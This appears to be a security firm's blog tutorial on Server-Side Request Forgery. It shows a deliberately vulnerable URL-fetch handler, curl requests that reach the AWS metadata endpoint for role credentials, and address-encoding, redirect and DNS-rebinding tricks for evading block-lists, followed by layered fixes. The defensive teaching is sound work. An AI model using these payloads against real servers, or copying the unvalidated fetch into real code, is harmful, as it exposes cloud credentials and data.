ECSEXCELON CYBER SOLUTIONS

SSRF to Cloud Credentials: How a "Fetch This URL" Feature Exposes Your Server

Server-Side Request Forgery explained with a lab walkthrough that reaches the cloud metadata service, plus IMDSv2, allow-list and egress fixes.

By Excelon Cyber Solutions Security Team4 min read

Server-Side Request Forgery (SSRF) turns your own server into a proxy for the attacker. Any feature that fetches a URL on a user's behalf, such as webhook testers, image importers, PDF generators or link previews, is a candidate. On cloud servers the damage can escalate quickly, because the internal metadata service hands out credentials to whoever asks from inside the machine.

Key takeaways

  • SSRF turns any 'fetch this URL' feature into a way to reach internal services.
  • On cloud servers the metadata endpoint can hand out role credentials to the attacker.
  • Require IMDSv2, allow-list destinations, validate after DNS resolution and restrict egress.
  • Give server roles least privilege so a stolen credential does little.

The vulnerable feature

A marketing tool lets users import a logo from a URL:

js
app.post('/api/import-logo', async (req, res) => {
  const response = await fetch(req.body.url);        // no validation
  const buffer = Buffer.from(await response.arrayBuffer());
  res.type(response.headers.get('content-type')).send(buffer);
});

The server makes the request from inside the private network, so it can reach hosts the internet cannot.

Step 1: Confirm the server fetches attacker-chosen URLs

Use a collaborator or listener host you control:

bash
curl -s -X POST https://lab.example.test/api/import-logo \
  -H "Content-Type: application/json" \
  -d '{"url":"https://collab.example.test/ping"}'

If the listener logs a hit from the application server's IP, SSRF is confirmed.

Step 2: Point it inward

Cloud providers expose a link-local metadata address. On AWS it is 169.254.169.254. In the lab the instance still runs the older metadata version (IMDSv1), which answers plain GET requests:

bash
curl -s -X POST https://lab.example.test/api/import-logo \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

The response is the name of the attached role, for example lab-web-role. Requesting that path returns temporary credentials:

json
{
  "AccessKeyId": "ASIA...LAB",
  "SecretAccessKey": "(redacted)",
  "Token": "(redacted)",
  "Expiration": "2026-11-26T18:00:00Z"
}

Those credentials carry whatever permissions the role has. In the lab, the role can read one storage bucket.

Illustrative impactValue
Time from first request to credentialsabout 6 minutes
Buckets readable with the role1
Objects in that bucket12,400
Reported severityHigh to Critical, depending on role permissions

Step 3: Filter bypass attempts testers try

Developers often add a quick block-list for 169.254.169.254 or localhost. Block-lists fail because the same address has many spellings:

  • Decimal or hex forms: http://2852039166/, http://0xA9FEA9FE/
  • IPv6 and mapped forms: http://[::ffff:a9fe:a9fe]/
  • A DNS name you control that resolves to an internal address
  • A redirect: an allowed external URL that returns a 302 to the internal address
  • DNS rebinding: the name resolves to a safe IP during validation and an internal IP during the request

This is why checking the hostname string is not enough.

The fix

Work in layers:

  1. Require IMDSv2. It needs a session token obtained with a PUT request, which basic SSRF primitives cannot make.
bash
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1
  1. Use an allow-list of the few external hosts the feature really needs, rather than a block-list.
  2. Resolve, then validate, then connect to the validated IP. Reject private, loopback and link-local ranges after DNS resolution, and do not follow redirects blindly.
  3. Restrict egress with network rules so the application server cannot reach the metadata endpoint or internal admin services at all.
  4. Give the role least privilege. If the stolen credentials can only read one harmless object, the incident stays small.
  5. Log outbound requests and alert on any call to link-local ranges.

Why it matters for Indian startups

Teams moving fast on cloud platforms often attach broad roles to web servers "to make it work". SSRF is the bug that converts a small coding oversight into a cloud account compromise. Reviewing roles and metadata settings takes an afternoon and removes the worst-case outcome.

Frequently asked questions

What is IMDSv2?

A newer version of the AWS instance metadata service that requires a session token obtained with a PUT request. Basic SSRF bugs that can only send GET requests cannot complete that handshake.

Do other clouds have this risk?

Yes. Other providers also expose metadata endpoints; some require special request headers, which blocks simple GET-based SSRF but not every variant. The same controls apply: validate destinations, restrict egress and limit role permissions.

Is blocking 169.254.169.254 enough?

No. The address can be written in decimal or hex, reached through redirects or a DNS name that points inward, or via DNS rebinding. Use an allow-list and validate the resolved IP.

Further reading

Need this tested?

Have our senior analysts test your application

Excelon Cyber Solutions runs web application, API and network penetration tests across India, with every finding reproduced and documented before it reaches your report.

WHATSAPP